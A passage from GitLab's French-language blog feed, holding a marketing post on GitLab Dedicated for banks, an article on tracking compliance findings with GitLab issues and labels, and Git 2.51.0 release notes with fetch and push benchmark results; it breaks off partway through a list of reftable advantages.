<h2>Quand l'infrastructure partagée devient un risque systémique</h2>
<p>L'essor des plateformes SaaS (Software-as-a-Service) a créé une réalité inconfortable pour les institutions financières. Chaque locataire partagé devient un risque tiers non maîtrisé qui transforme les incidents à l'échelle de la plateforme en perturbations à l'échelle du secteur. C'est exactement ce type de risque de concentration qui attire de plus en plus l'attention des régulateurs.</p>
<p>Patrick Opet, Chief Information Security Officer de JPMorgan Chase, a récemment lancé un avertissement sévère au secteur dans une <a href="https://www.jpmorgan.com/technology/technology-blog/open-letter-to-our-suppliers">lettre ouverte</a> adressée aux fournisseurs tiers. Il souligne que l'adoption du SaaS « crée une vulnérabilité substantielle qui affaiblit le système économique mondial » en intégrant « un risque de concentration dans les infrastructures critiques du monde entier ». La lettre fait remarquer qu'« une attaque contre un fournisseur majeur de SaaS ou de PaaS peut immédiatement se répercuter sur ses clients » et créer exactement le risque systémique que les plateformes cloud multi-locataires dédiées à la gestion du code source, aux compilations CI, aux déploiements CD et aux scans de sécurité introduisent.</p>
<p>Imaginez la complexité réglementaire que cela engendre. Dans des environnements partagés, votre posture de conformité est à la merci d'incidents potentiels qui touchent d'autres locataires ainsi que des risques de concentration des fournisseurs à grande surface d'attaque. Une mauvaise configuration affectant n'importe quelle organisation sur la plateforme peut avoir un impact plus large sur l'ensemble de l'écosystème.</p>
<p>Les défis liés à la souveraineté des données aggravent ce risque. Les plateformes partagées répartissent les charges de travail entre plusieurs régions et juridictions, souvent sans contrôle granulaire sur l'endroit où votre code source s'exécute. Pour les institutions soumises à des exigences réglementaires strictes, cette répartition géographique peut créer des lacunes en matière de conformité qui sont difficiles à combler.</p>
<p>À cela s'ajoute l'effet d'amplification. Chaque locataire partagé devient un risque tiers indirect pour vos opérations. Ses vulnérabilités augmentent votre surface d'attaque, ses incidents peuvent impacter votre disponibilité et ses compromissions peuvent affecter votre environnement.</p>
<h2>Une plateforme conçue pour vos données les plus sensibles</h2>
<p>GitLab reconnaît que votre code source mérite le même niveau de sécurité que vos données clients les plus sensibles. Plutôt que de vous forcer à choisir entre l'efficacité à l'échelle du cloud et la sécurité de votre entreprise, GitLab offre les deux grâce à <a href="https://about.gitlab.com/fr-fr/dedicated/">GitLab Dedicated</a>, une infrastructure spécialement conçue qui garantit une isolation complète.</p>
<p>Vos workflows de développement, <a href="https://docs.gitlab.com/user/project/repository/">vos dépôts</a> de code source et <a href="https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/">vos pipelines CI/CD</a> s'exécutent dans un environnement exclusivement dédié à votre organisation. Les <a href="https://docs.gitlab.com/administration/dedicated/hosted_runners/">runners hébergés</a> sur GitLab Dedicated illustrent parfaitement cette approche. Ces runners se connectent de manière sécurisée à votre centre de données via des liens privés sortants, vous permettant d'accéder à vos services privés et de garantir que vos données ne soient pas exposées sur l'internet public. L'<a href="https://docs.gitlab.com/runner/runner_autoscale/">architecture de mise à l'échelle automatique</a> fournit les performances dont vous avez besoin, sans compromettre la sécurité ni le contrôle.</p>
<h2>Repenser le contrôle</h2>
<p>Pour les institutions financières, minimiser les risques partagés n'est qu'une partie de l'équation. La véritable résilience nécessite un contrôle précis sur la façon dont les systèmes fonctionnent, évoluent et se conforment aux frameworks réglementaires. GitLab Dedicated assure une souveraineté complète des données à travers plusieurs niveaux de contrôle client. Vous conservez une autorité complète sur les <a href="https://docs.gitlab.com/administration/dedicated/encryption/#encrypted-data-at-rest">clés de chiffrement</a> grâce aux capacités <a href="https://docs.gitlab.com/administration/dedicated/encryption/#bring-your-own-key-byok">BYOK (Bring Your Own Key)</a>, qui garantissent que le code source et les données de configuration sensibles restent accessibles uniquement à votre organisation. Même GitLab ne peut pas accéder à vos données chiffrées sans vos clés.</p>
<p>La <a href="https://docs.gitlab.com/subscriptions/gitlab_dedicated/data_residency_and_high_availability/">résidence des données</a> devient un choix plutôt qu'une contrainte. Vous pouvez sélectionner la région AWS de votre choix pour répondre aux exigences réglementaires et aux politiques de gouvernance des données de votre organisation, tout en conservant le contrôle total sur l'endroit où votre code source sensible et votre propriété intellectuelle sont stockés.</p>
<p>Ce contrôle s'étend aux <a href="https://docs.gitlab.com/user/compliance/compliance_frameworks/">frameworks de conformité</a> requis par les institutions financières. La plateforme fournit des <a href="https://docs.gitlab.com/user/compliance/audit_events/">pistes d'audit complètes</a> et des fonctionnalités de journalisation qui soutiennent les efforts de conformité aux réglementations des services financiers.</p>
<p>Si vous avez des questions de conformité, vous pouvez collaborer directement avec l'équipe d’assistance dédiée de GitLab, composée de professionnels expérimentés qui comprennent les défis réglementaires auxquels sont confrontées les organisations dans les secteurs hautement réglementés.</p>
<h2>Excellence opérationnelle sans charge opérationnelle</h2>
<p>GitLab Dedicated assure une <a href="https://docs.gitlab.com/subscriptions/gitlab_dedicated/data_residency_and_high_availability/">haute disponibilité</a> avec une <a href="https://docs.gitlab.com/subscriptions/gitlab_dedicated/">reprise après sinistre intégrée</a> qui garantit la résilience de vos opérations de développement même en cas de défaillance de l’infrastructure. Les ressources dédiées s’adaptent aux besoins de votre organisation et évitent les fluctuations de performances inhérentes aux environnements partagés.</p>
<p>L'<a href="https://docs.gitlab.com/subscriptions/gitlab_dedicated/maintenance/">approche zéro maintenance</a> de l'infrastructure CI/CD élimine une charge opérationnelle importante. Vos équipes se concentrent sur le développement tandis que GitLab gère l'infrastructure sous-jacente, la mise à l'échelle automatique et la maintenance, y compris l'application rapide de correctifs de sécurité pour protéger votre propriété intellectuelle critique face aux menaces émergentes. Cette efficacité opérationnelle ne se fait pas au détriment de la sécurité : l'infrastructure dédiée offre des contrôles à l'échelle de l'entreprise et fournit des performances à l'échelle du cloud.</p>
<h2>La réalité concurrentielle</h2>
<p>Alors que certaines institutions débattent des stratégies d'infrastructure, les leaders du secteur prennent des mesures décisives. <a href="https://about.gitlab.com/press/releases/2022-11-30-gitlab-dedicated-launches-to-meet-complex-compliance-requirements/">NatWest Group</a>, l'une des plus grandes institutions financières du Royaume-Uni, a choisi GitLab Dedicated pour transformer ses capacités d'ingénierie :</p>
<blockquote>
<p><em>« NatWest Group a adopté GitLab Dedicated pour permettre aux ingénieurs d'utiliser une plateforme d'ingénierie cloud commune, capable de fournir rapidement, fréquemment et en toute sécurité de nouveaux résultats aux clients grâce à des tests automatisés de haute qualité, une infrastructure à la demande et un déploiement direct. Cette nouvelle plateforme améliore considérablement la collaboration entre les équipes, augmente la productivité des développeurs et libère la créativité grâce à une interface unifiée pour le développement logiciel. »</em> <strong>Adam Leggett</strong>, Platform Lead - Engineering Platforms, NatWest</p>
</blockquote>
<h2>Le choix stratégique</h2>
<p>Les institutions financières les plus prospères font face à un défi unique : elles courent les plus grands risques en raison de leurs infrastructures partagées, mais elles disposent également des ressources nécessaires pour concevoir de meilleures solutions.</p>
<p><strong>Pour les leaders du secteur, la question suivante est déterminante face à la concurrence :</strong> Accepterez-vous les risques liés aux infrastructures partagées comme le prix de la transformation numérique, ou investirez-vous dans une infrastructure qui accorde à votre code source l'importance stratégique qu'il mérite ?</p>
<p>Vos algorithmes de trading ne sont pas partagés. Vos modèles de risque ne sont pas partagés. Vos données clients ne sont pas partagées.</p>
<p><strong>Pourquoi votre plateforme de développement est-elle partagée ?</strong></p>
<p><em>Prêt à traiter votre code source comme un actif stratégique ? <a href="https://about.gitlab.com/solutions/finance/">Discutons</a> ensemble de la manière dont GitLab Dedicated fournit la sécurité, la conformité et les performances dont les institutions financières ont besoin, sans les compromis liés à une infrastructure partagée.</em></p>
]]></content>
        <author>
            <name>George Kichukov</name>
            <uri>https://about.gitlab.com/blog/authors/george-kichukov</uri>
        </author>
        <author>
            <name>Allie Holland</name>
            <uri>https://about.gitlab.com/blog/authors/allie-holland</uri>
        </author>
        <published>2025-08-27T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Optimisez la gestion des écarts de conformité avec GitLab]]></title>
        <id>https://about.gitlab.com/fr-fr/blog/how-to-transform-compliance-observation-management-with-gitlab/</id>
        <link href="https://about.gitlab.com/fr-fr/blog/how-to-transform-compliance-observation-management-with-gitlab/"/>
        <updated>2025-08-26T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Un écart de conformité est mis en évidence lors de la surveillance des contrôles de sécurité et correspond à une déviation entre le fonctionnement attendu d’un contrôle de sécurité et son comportement réel. Il peut résulter d'un défaut de conception (contrôle de sécurité mal défini et qui ne satisfait pas les exigences), d'un manque d'efficacité opérationnelle (contrôle inefficace), ou encore d'un manque de preuves (absence de documentation ou de preuve d'exécution du contrôle).</p>
<p>Chez GitLab, nous détectons ces écarts de conformité principalement lors de notre processus de surveillance trimestriel qui évalue systématiquement l'efficacité des contrôles de sécurité soutenant nos certifications (SOC 2, ISO 27001, etc.) ou lors d'audits externes par des évaluateurs indépendants. Au-delà des lacunes en matière de conformité, ils reflètent les risques de sécurité avérés, qui nécessitent l'application rapide de mesures correctives traçables.</p>
<p>Le processus de gestion des écarts de conformité se décompose en plusieurs étapes, depuis leur identification jusqu'à leur résolution complète, en passant par les mesures correctives. Dans cet article, découvrez comment l'équipe Security Compliance de GitLab s'appuie sur la plateforme DevSecOps pour gérer et remédier aux écarts de conformité, ainsi que les gains d'efficacité obtenus grâce à cette approche.</p>
<h2>Le cycle de vie d'un écart de conformité chez GitLab</h2>
<p>Ce cycle englobe l'ensemble du processus, de l'identification des écarts de conformité par l'équipe en charge de la conformité jusqu'à leur résolution complète par les responsables chargés de la remédiation. Ce cadre structuré permet un suivi transparent en temps réel, simple à comprendre par toutes les parties prenantes.</p>
<p>Il se compose des étapes suivantes :</p>
<p><strong>1. Identification</strong></p>
<ul>
<li>Les équipes responsables de la conformité identifient les éventuels écarts de conformité lors de la surveillance trimestrielle des contrôles de sécurité.</li>
<li>Une validation initiale est effectuée pour confirmer la non-conformité.</li>
<li>Dès cette étape, un ticket GitLab est créé avec une documentation détaillée.</li>
<li>La cause profonde de l'écart de conformité est déterminée et un plan de remédiation est établi.</li>
</ul>
<p><strong>2. Validation</strong></p>
<ul>
<li>Le ticket est attribué au responsable de la remédiation concerné (chef d'équipe ou manager).</li>
<li>Ce dernier l'examine et confirme qu'il en accepte la propriété.</li>
<li>Le plan de remédiation est examiné, priorisé et ajusté de manière collaborative, le cas échéant.</li>
</ul>
<p><strong>3. Mise en œuvre</strong></p>
<ul>
<li>Les actions de remédiation commencent par la définition de jalons et d'échéances clairs.</li>
<li>Des retours sont ajoutés directement dans le ticket GitLab et son statut est mis à jour.</li>
<li>La collaboration s'effectue de manière transparente : toutes les parties prenantes peuvent suivre la progression du ticket.</li>
</ul>
<p><strong>4. Remédiation</strong></p>
<ul>
<li>Le responsable de la remédiation exécute les actions correctives et les marquent comme terminées, tout en fournissant les preuves de leur mise en place.</li>
<li>Le ticket passe à l'étape de revue de la conformité à des fins de validation.</li>
</ul>
<p><strong>5. Résolution</strong></p>
<ul>
<li>L'équipe de conformité vérifie que tous les critères définis pour pouvoir clôturer le ticket sont respectés.</li>
<li>Le ticket incluant une documentation complète est ensuite fermé.</li>
<li>Les leçons tirées du cycle de l'écart de conformité sont consignées afin de prévenir des cas similaires à l'avenir.</li>
</ul>
<p>Des <strong>processus alternatifs</strong> sont prévus pour les cas bloquants, les risques acceptés ou les retards, avec des workflows d'escalade adaptés.
<img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1753301753/pbvheikwpivuvhzd5ith.png" alt="Exemple de cycle de vie d'un écart de conformité">
&lt;center&gt;&lt;i&gt;Exemple de cycle de vie d'un écart de conformité&lt;/i&gt;&lt;/center&gt;</p>
<h2>La force de la transparence avec GitLab</h2>
<p>Avec une gestion efficace des écarts de conformité, l'accès aux métadonnées de base, à savoir la propriété, le statut ou le niveau de priorité, ne doit demander aucun effort. Pourtant, dans de nombreuses entreprises, c'est exactement le contraire : les équipes de conformité doivent sans cesse relancer pour obtenir la moindre mise à jour, les équipes des opérations ignorent leurs responsabilités, et la direction manque de visibilité sur l'exposition réelle aux risques jusqu'au moment de l'audit.</p>
<p>L'équipe Security Compliance de GitLab a rencontré les mêmes difficultés. Elle a d'abord utilisé un outil GRC dédié comme source unique de vérité pour les écarts de conformité les plus critiques. Mais, faute de visibilité pour les principales parties prenantes, très peu de mesures de remédiation étaient effectivement mises en œuvre, car l'équipe passait la plupart de son temps sur des tâches administratives.</p>
<p>Nous avons finalement migré la gestion des écarts de conformité directement dans GitLab, à l'aide de tickets regroupés dans un projet dédié. Ainsi chaque écart de conformité devient un élément de travail visible et exploitable, naturellement intégré au workflow des équipes de développement et des opérations. Chaque contributeur peut identifier les sujets prioritaires, collaborer à l'élaboration des plans de remédiation et suivre les progrès en temps réel, favorisant ainsi une transparence et une responsabilisation que les outils traditionnels sont incapables d'offrir.</p>
<h3>Une organisation intelligente avec les labels et les tableaux de tickets</h3>
<p>GitLab permet de classer les tickets d'écarts de conformité en différentes vues et catégories pour une organisation flexible. L'équipe Security Compliance de GitLab organise ses tickets de la manière suivante :</p>
<ul>
<li><strong>Workflow :</strong> <code>~workflow::identified</code>, <code>~workflow::validated</code>, <code>~workflow::in progress</code>, <code>~workflow::remediated</code></li>
<li><strong>Équipe concernée :</strong> <code>~dept::engineering</code>, <code>~dept::security</code>, <code>~dept::product</code></li>
<li><strong>Gravité du risque :</strong> <code>~risk::critical</code>, <code>~risk::high</code>, <code>~risk::medium</code>, <code>~risk::low</code></li>
<li><strong>Système impacté :</strong> <code>~system::gitlab</code>, <code>~system::gcp</code>, <code>~system::hr-systems</code></li>
<li><strong>Programme de conformité :</strong> <code>~program::soc2</code>, <code>~program::iso</code>, <code>~program::fedramp</code> , <code>~program::pci</code></li>
</ul>
<p>Ces labels permettent de créer des tableaux de tickets personnalisés :</p>
<ul>
<li>Les <strong>tableaux par workflow</strong> pour une vue claire des étapes du cycle de vie de chaque écart de conformité.</li>
<li>Les <strong>tableaux par équipe</strong> pour visualiser la charge de travail de chaque équipe liée à la remédiation.</li>
<li>Les <strong>tableaux par niveau de risque</strong> pour prioriser les écarts de conformité critiques nécessitant une action immédiate.</li>
<li>Les <strong>tableaux par système</strong> pour regrouper les écart de conformité liés à un environnement ou une plateforme spécifique.</li>
<li>Les <strong>tableaux par programme</strong> pour le suivi des tâches de remédiation en fonction des certifications associées.</li>
</ul>
<p>Les labels permettent également de définir des filtres et de générer des rapports de façon optimale, tout en facilitant l'automatisation des workflows grâce aux politiques définies par notre bot de classement. Pour en savoir plus, consultez la section dédiée à l’automatisation.</p>
<h2>La puissance de l'automatisation</h2>
<p>Gérer des dizaines d'écarts de conformité liés à plusieurs certifications nécessite une automatisation intelligente. Notre équipe Security Compliance s'appuie pour cela sur le <a href="https://gitlab.com/gitlab-org/ruby/gems/gitlab-triage">bot de classement par priorité</a>, un projet open source hébergé sur GitLab. Ce bot, mis à disposition sous forme d'une gemme, permet de classer automatiquement les tickets au sein des projets ou groupes GitLab en fonction de politiques prédéfinies, et ainsi de les organiser de manière structurée. De cette façon, les parties prenantes peuvent concentrer leurs efforts sur la remédiation plutôt que sur la gestion administrative.</p>
<p>Notre projet dédié regroupe nos politiques d'automatisation alignées sur les bonnes pratiques : chaque ticket doit disposer d'un responsable assigné, il doit inclure les labels requis, il doit être mis à jour au moins tous les 30 jours, et les tickets bloqués ou en attente doivent être relancés tous les 90 jours. En outre, un ticket récapitulatif est généré chaque semaine : il répertorie tous les tickets qui ne respectent pas ces politiques. Les membres de l'équipe restent ainsi concentrés sur la remédiation en se libérant des tâches administratives.</p>
<h2>Le potentiel des rapports et indicateurs de performance</h2>
<p>Les données brutes issues des tickets GitLab offrent une source précieuse d'informations stratégiques. En analysant des métadonnées telles que les dates de création, de clôture, de dernière mise à jour ou encore les labels appliqués, les équipes dirigeantes peuvent en tirer des enseignements concrets pour optimiser la gestion des écarts de conformité. Voici les indicateurs clés pour évaluer l’efficacité de votre processus :</p>
<p><strong>Analyse de l'efficacité de la remédiation :</strong> délai moyen entre l'identification et la résolution de l'écart de conformité, ventilé par équipe et niveau de gravité.</p>
<p>Comparez les dates de création et de clôture des tickets en fonction des équipes et du niveau de gravité pour identifier les goulots d'étranglement et évaluer la performance par rapport aux accords de niveau de service (SLA). Cette approche met en évidence les équipes les plus réactives, ainsi que celles qui ont besoin de ressources supplémentaires ou d'optimiser leur processus.</p>
<p><strong>Évaluation du risque en temps réel :</strong> profil de risque actuel basé sur les écarts de conformité critiques exposant à des risques majeurs, et dont les tickets sont encore ouverts.</p>
<p>Tirez parti des labels de niveau de risque pour obtenir une vue instantanée du niveau actuel d'exposition aux risques de votre entreprise. De cette manière, vous identifiez immédiatement les écarts de conformité critiques nécessitant une attention immédiate.</p>
<p><strong>Allocation stratégique des ressources :</strong> cartographie des risques par équipe pour orienter les efforts</p>
<p>Identifiez les équipes responsables de la remédiation des écarts de conformité les plus critiques afin de concentrer les ressources, de renforcer le suivi et de prioriser les projets. Cette approche fondée sur les données garantit un impact maximal.</p>
<p><strong>Suivi de la préparation à la conformité :</strong> nombre d'écarts de conformité par certification et taux de résolution.</p>
<p>Utilisez les labels de certification pour évaluer le niveau de préparation aux audits et suivre la progression vers les objectifs de conformité. Cet indicateur permet d'anticiper les risques de non-conformité à une certification spécifique et valide l'efficacité des actions de remédiation.</p>
<p><strong>Suivi de la responsabilisation :</strong> identification des remédiations en retard.</p>
<p>L'analyse des délais via les métadonnées des tickets permet de détecter les irrégularités par rapport aux SLA. Cet indicateur met en évidence les retards systémiques et favorise les interventions proactives avant qu'ils ne compromettent la sécurité ou la conformité.</p>
<p><strong>Contrôle de l'engagement :</strong> mise à jour de l'état des écarts de conformité.</p>
<p>Suivez les mises à jour récentes (30 derniers jours) pour vous assurer que les écarts de conformité sont activement pris en charge. Cet indicateur identifie les tickets non traités qui peuvent nécessiter une réattribution ou une relance.</p>
<h2>L'art de la gestion proactive</h2>
<p>Voici comment amplifier l'impact de votre gestion des écarts de conformité :</p>
<p><strong>Intégrer les outils de sécurité</strong></p>
<p>La gestion moderne des écarts de conformité ne repose plus sur un suivi manuel ; elle s'intègre à votre infrastructure de sécurité en place. Configurez des scanners de détection des vulnérabilités et des outils de surveillance de la sécurité pour générer automatiquement des tickets pour vos écarts de conformité. Vous éliminez ainsi la saisie manuelle des données et garantissez une couverture complète.</p>
<p><strong>Appliquer l'analyse prédictive</strong></p>
<p>Les historiques d'écarts de conformité offrent une base solide de prévision lorsqu'elles sont correctement analysées. Tirez parti des schémas de remédiation antérieurs pour anticiper les délais et besoins en ressources, facilement planifier les projets et allouer les budgets. La reconnaissance de motifs récurrents parmi les types d'écarts de conformité révèle des vulnérabilités systémiques qui justifient la mise en place de contrôles préventifs et passer ainsi d'une gestion réactive à une gestion proactive des risques. Les systèmes avancées, combinant plusieurs sources de données, fournissent une priorisation fine des menaces via des algorithmes sophistiqués de notation des risques.</p>
<p><strong>Adapter les processus aux parties prenantes</strong></p>
<p>Les besoins varient selon les rôles. Des tableaux de bord basés sur les rôles offrent des vues personnalisées à chaque profil : les dirigeants tirent parti des synthèses stratégiques des risques critiques, les managers suivent la performance de leurs équipes et les contributeurs gèrent les écarts de conformité qui leur sont attribuées. Automatisez les systèmes de reporting pour qu'ils répondent aux différents besoins techniques et aux préférences de communication des utilisateurs (rapports détaillés ou briefings destinés à la direction, par exemple). Les capacités d'analyse en libre-service permettent aux parties prenantes d'effectuer des analyses ad hoc et de générer des informations personnalisées, et ce sans assistance ni expertise technique.</p>
<h2>De la conformité à l'excellence opérationnelle</h2>
<p>L'approche de GitLab en matière de gestion des écarts de conformité dépasse le simple changement d'outil. Elle permet en effet de passer d'une mise en conformité réactive à une atténuation proactive des risques. En brisant les silos entre les équipes de conformité et des opérations, elle offre une visibilité sans précédent tout en améliorant considérablement les résultats de la remédiation.</p>
<p>Les bénéfices sont mesurables : des délais de résolution raccourcis grâce à une responsabilisation claire, une collaboration active plutôt qu'une implication contrainte et une préparation continue aux audits sans charge de travail intense à la dernière minute. Les workflows automatisés libèrent du temps aux professionnels de la conformité, qui peuvent gérer des tâches stratégiques, tandis que l'exploitation de métadonnées riches alimentent des analyses prédictives favorisant une prévention proactive et non plus réactive.</p>
<p>Plus important encore, grâce à cette approche, la conformité n'est plus un fardeau, mais un catalyseur stratégique. Lorsque les écarts de conformité deviennent des éléments de travail visibles et traçables, intégrés aux workflows opérationnels, les entreprises renforcent leur culture de sécurité et instaurent des améliorations durables qui s'étendent au-delà de chaque cycle d'audit. Il en résulte non seulement une conformité réglementaire, mais aussi une résilience organisationnelle accrue et un avantage concurrentiel fondé sur une gestion optimale des risques.</p>
<blockquote>
<p>Pour en savoir plus sur les pratiques de conformité liées aux contrôles de sécurité de GitLab, consultez <a href="https://handbook.gitlab.com/handbook/security/security-assurance/security-compliance/">la section Security Compliance de notre manuel</a> enrichie de conseils pratiques pour la mise en œuvre.</p>
</blockquote>
]]></content>
        <author>
            <name>Madeline Lake</name>
            <uri>https://about.gitlab.com/blog/authors/madeline-lake</uri>
        </author>
        <published>2025-08-26T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Nouveautés de Git 2.51.0]]></title>
        <id>https://about.gitlab.com/fr-fr/blog/what-s-new-in-git-2-51-0/</id>
        <link href="https://about.gitlab.com/fr-fr/blog/what-s-new-in-git-2-51-0/"/>
        <updated>2025-08-25T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Le projet Git a récemment publié la version <a href="https://lore.kernel.org/git/xmqqikikk1hr.fsf@gitster.g/T/#u">Git 2.51</a>. En raison de l'été dans l'hémisphère nord et d'un développement plus lent, ce cycle de sortie de nouvelles versions a été plus court et a duré 8 semaines (au lieu des 12 semaines habituelles). Passons en revue certaines modifications notables de cette version, notamment les contributions de l'équipe Git de GitLab ainsi que de la communauté Git dans son ensemble.</p>
<h2>Optimisations des performances pour <code>git-push(1)</code> et <code>git-fetch(1)</code></h2>
<p>Les commandes <code>git-push(1)</code> et <code>git-fetch(1)</code> permettent aux utilisateurs de synchroniser les dépôts locaux et distants. Une partie de ces commandes consiste à mettre à jour les références dans le dépôt, ce qui peut prendre un temps considérable dans les dépôts comportant de nombreuses références, en particulier pour les utilisateurs qui travaillent avec de grands environnements de développement, des monorepos ou des dépôts avec des <a href="https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/" title="Qu’est-ce qu’un pipeline CI/CD ?">pipelines CI/CD</a> étendus.</p>
<p>Les transactions de références Git peuvent inclure plusieurs mises à jour de références, mais elles suivent une approche « tout ou rien ». Si une seule mise à jour dans la transaction échoue, la transaction entière échoue, et aucune des mises à jour de références n'est appliquée. Cependant, les mises à jour de références dans <code>git-push(1)</code> et <a href="https://about.gitlab.com/fr-fr/blog/git-pull-vs-git-fetch-whats-the-difference/" title="Git Pull et Git Fetch"><code>git-fetch(1)</code></a> sont autorisées à échouer, ce qui permet aux dépôts de synchroniser un sous-ensemble de références même si un sous-ensemble différent a divergé. Pour faciliter ce comportement, Git crée une transaction distincte pour chaque mise à jour de référence afin que certaines transactions réussissent même si d'autres échouent.</p>
<p>La création d'une transaction distincte par mise à jour entraîne une surcharge opérationnelle importante, car chaque transaction comprend une phase d'initialisation et de finalisation, et vérifie s'il existe des noms de références contradictoires. Le backend « reftable » effectue également un compactage automatique à la fin de chaque transaction. De multiples transactions peuvent ainsi déclencher plusieurs compactages automatiques, ce qui peut augmenter considérablement la latence de la commande.</p>
<p>Dans Git 2.51.0, ces commandes utilisent désormais des mises à jour par lots au lieu de transactions distinctes afin de mettre à jour plusieurs références dans une seule transaction, tout en autorisant certaines mises à jour à échouer. Cette approche élimine le surcoût lié aux initialisations, vérifications et finalisations répétées et supporte mieux la montée en charge du nombre de références à mettre à jour, puisqu'une seule transaction est utilisée. Les performances du backend « reftable » en sont considérablement améliorées, et ce dernier surpasse désormais le backend « files ». Ces améliorations de performances s'appliquent de manière transparente pour les utilisateurs.</p>
<p>Pour <code>git-fetch(1)</code>, nous constatons <em>des performances 22x meilleures pour le backend « reftable »</em> et <em>1,25x meilleures pour le backend « files »</em> lorsque cette commande est utilisée dans un dépôt avec 10 000 références.</p>
<pre><code>Benchmark 1: fetch: many refs (refformat = reftable, refcount = 10000, revision = master)
  Time (mean ± σ):      3.403 s ±  0.775 s    [User: 1.875 s, System: 1.417 s]
  Range (min … max):    2.454 s …  4.529 s    10 runs

Benchmark 2: fetch: many refs (refformat = reftable, refcount = 10000, revision = HEAD)
 Time (mean ± σ):     154.3 ms ±  17.6 ms    [User: 102.5 ms, System: 56.1 ms]
 Range (min … max):   145.2 ms … 220.5 ms    18 runs

Summary
  fetch: many refs (refformat = reftable, refcount = 10000, revision = HEAD) ran
   22.06 ± 5.62 times faster than fetch: many refs (refformat = reftable, refcount = 10000, revision = master)

Benchmark 1: fetch: many refs (refformat = files, refcount = 10000, revision = master)
  Time (mean ± σ):     605.5 ms ±   9.4 ms    [User: 117.8 ms, System: 483.3 ms]
  Range (min … max):   595.6 ms … 621.5 ms    10 runs

Benchmark 2: fetch: many refs (refformat = files, refcount = 10000, revision = HEAD)
  Time (mean ± σ):     485.8 ms ±   4.3 ms    [User: 91.1 ms, System: 396.7 ms]
  Range (min … max):   477.6 ms … 494.3 ms    10 runs

Summary
  fetch: many refs (refformat = files, refcount = 10000, revision = HEAD) ran
   1.25 ± 0.02 times faster than fetch: many refs (refformat = files, refcount = 10000, revision = master)
</code></pre>
<p>Pour <code>git-push(1)</code>, nous constatons des <em>performances 18x meilleures pour le backend reftable</em> et <em>1,21x meilleures pour le backend « files »</em> lorsque cette commande est utilisée dans un dépôt avec 10 000 références.</p>
<pre><code>Benchmark 1: push: many refs (refformat = reftable, refcount = 10000, revision = master)
  Time (mean ± σ):      4.276 s ±  0.078 s    [User: 0.796 s, System: 3.318 s]
  Range (min … max):    4.185 s …  4.430 s    10 runs

Benchmark 2: push: many refs (refformat = reftable, refcount = 10000, revision = HEAD)
  Time (mean ± σ):     235.4 ms ±   6.9 ms    [User: 75.4 ms, System: 157.3 ms]
  Range (min … max):   228.5 ms … 254.2 ms    11 runs

Summary
  push: many refs (refformat = reftable, refcount = 10000, revision = HEAD) ran
   18.16 ± 0.63 times faster than push: many refs (refformat = reftable, refcount = 10000, revision = master)

Benchmark 1: push: many refs (refformat = files, refcount = 10000, revision = master)
  Time (mean ± σ):      1.121 s ±  0.021 s    [User: 0.128 s, System: 0.975 s]
  Range (min … max):    1.097 s …  1.156 s    10 runs

Benchmark 2: push: many refs (refformat = files, refcount = 10000, revision = HEAD)
  Time (mean ± σ):     927.9 ms ±  22.6 ms    [User: 99.0 ms, System: 815.2 ms]
  Range (min … max):   903.1 ms … 978.0 ms    10 runs

Summary
  push: many refs (refformat = files, refcount = 10000, revision = HEAD) ran
    1.21 ± 0.04 times faster than push: many refs (refformat = files, refcount = 10000, revision = master)
</code></pre>
<p>Ce <a href="https://lore.kernel.org/git/20250514-501-update-git-fetch-1-to-use-partial-transactions-v1-0-7c65f46493d4@gmail.com/">projet</a> a été mené par <a href="https://gitlab.com/knayakgl">Karthik Nayak</a>.</p>
<h2>En route vers la version Git 3.0</h2>
<p>La dernière version majeure de Git, la version 2.0, a été publiée il y a onze ans déjà. Bien que nous n'ayons pas de calendrier spécifique pour la prochaine version majeure de Git, la version 2.51.0 inclut déjà des décisions concernant Git 3.0.</p>
<p>La planification de la version Git 3.0 nous permet de prévoir et d'implémenter des changements rendant cette version incompatible avec les précédentes et de les communiquer à la communauté Git. En plus de la documentation, Git peut également être compilé avec ces changements incompatibles à des fins de test. Pour en savoir plus, consultez le <a href="https://gitlab.com/gitlab-org/git/-/blob/master/Documentation/BreakingChanges.adoc">document BreakingChanges</a>.</p>
<p>La version Git 2.51.0 apporte des changements importants en préparation de Git 3.0.</p>
<h3>Reftable comme backend de références par défaut</h3>
<p>Dans la version <a href="https://about.gitlab.com/fr-fr/blog/whats-new-in-git-2-45-0/">Git 2.45.0</a>, le format « reftable » a été introduit comme nouveau backend pour stocker les références comme les branches ou les tags dans Git, afin de corriger de nombreux problèmes avec le backend « files » existant. Consultez notre <a href="https://about.gitlab.com/fr-fr/blog/a-beginners-guide-to-the-git-reftable-format/" title="Format reftable">guide du débutant sur le fonctionnement du format reftable</a> pour obtenir plus d'informations sur le backend « reftable ».</p>
<p>La version Git 2.51.0 marque le passage à l'utilisation du format « reftable » par défaut dans Git 3.0 pour les dépôts nouvellement créés et configure également le changement d'un feature flag. Le format « reftable » offre les améliorations suivantes par rapport au backend « files » traditionnel :</p>
<ul>
<li>
<p>Il est impossible de stocker deux références avec pour seule différence la casse sur des systèmes de fichiers qui ne tiennent pas compte de la casse avec le format « files ». Ce problème est courant sur les systèmes Windows et macOS. Étant donné que le backend « reftable » n'utilise pas de chemins de système de fichiers pour encoder les noms de références, ce problème n'a plus lieu d'être.</p>
</li>
<li>
<p>De même, macOS normalise les noms de chemins qui contiennent des caractères unicode. Vous ne pouvez donc pas stocker deux noms avec des caractères unicode qui sont encodés différemment avec le backend « files », mais ce n'est pas un problème avec le backend « reftable ».</p>
</li>
<li>
<p>La suppression de références avec le backend « files » nécessite que Git réécrive le fichier complet « packed-refs ». Dans les grands dépôts avec de nombreuses références, ce fichier peut facilement faire des dizaines de mégaoctets, voire des gigaoctets. Le backend « reftable » utilise des marqueurs « tombstone » pour les références supprimées et n'a donc pas à réécrire toutes ses données.</p>
</li>
<li>
<p>La maintenance du dépôt avec le backend « files » effectue généralement des repacks tout-en-un des références. Cette approche peut être assez coûteuse, et par conséquent, la maintenance est un compromis entre le nombre de références seules par fichier qui s'accumulent et ralentissent les opérations qui lisent les références, et la compression de ces références non compactées en un seul fichier « packed-refs ». Le backend « reftable » utilise le compactage géométrique après chaque écriture, ce qui amortit les coûts et garantit que le backend est toujours bien entretenu.</p>
</li>
<li>
